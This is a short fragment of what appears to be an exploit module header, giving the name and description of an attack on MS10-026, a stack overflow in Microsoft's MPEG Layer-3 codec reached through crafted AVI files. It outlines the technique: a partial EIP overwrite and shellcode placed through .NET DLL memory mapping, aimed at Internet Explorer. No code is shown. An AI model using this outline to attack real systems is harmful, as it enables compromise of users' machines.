'Name' => 'MS10-026 Microsoft MPEG Layer-3 Audio Stack Based Overflow',
'Description' => %q{
This module exploits a buffer overlow in l3codecx.ax while processing a
AVI files with MPEG Layer-3 audio contents. The overflow only allows to overwrite
with 0's so the three least significant bytes of EIP saved on stack are
overwritten and shellcode is mapped using the .NET DLL memory technique pioneered
by Alexander Sotirov and Mark Dowd.
Please note on IE 8 targets, your malicious URL must be a trusted site in order
to load the .Net control.
